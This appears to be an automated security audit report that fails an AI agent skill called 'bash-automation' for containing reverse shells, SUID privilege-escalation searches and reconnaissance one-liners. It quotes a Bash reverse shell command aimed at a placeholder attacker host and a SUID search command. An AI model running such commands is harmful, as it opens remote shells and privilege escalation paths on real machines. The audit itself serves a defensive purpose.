bash-automation
Fail
Audited by Gen Agent Trust Hub on Sep 28, 2026
Risk Level: HIGHCOMMAND_EXECUTIONPRIVILEGE_ESCALATIONPERSISTENCE
Full Analysis
- [COMMAND_EXECUTION]: The skill includes functional reverse shell templates for Bash, Netcat, and Python (e.g.,
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1). These allow an attacker to establish a remote command shell on a target machine. - [PRIVILEGE_ESCALATION]: Snippets are provided to search for SUID binaries (
find / -perm -4000) and writable directories, which are standard procedures for identifying local privilege escalation vulnerabilities on Linux systems. - [PERSISTENCE]: The provided reverse shell payloads are primary methods for maintaining access across sessions in a post-exploitation context.
- [COMMAND_EXECUTION]: Includes network reconnaissance one-liners, such as port scanning via the Bash
/dev/tcpvirtual filesystem and ICMP ping sweeps for host discovery.
Recommendations
- AI detected serious security threats
Audit Metadata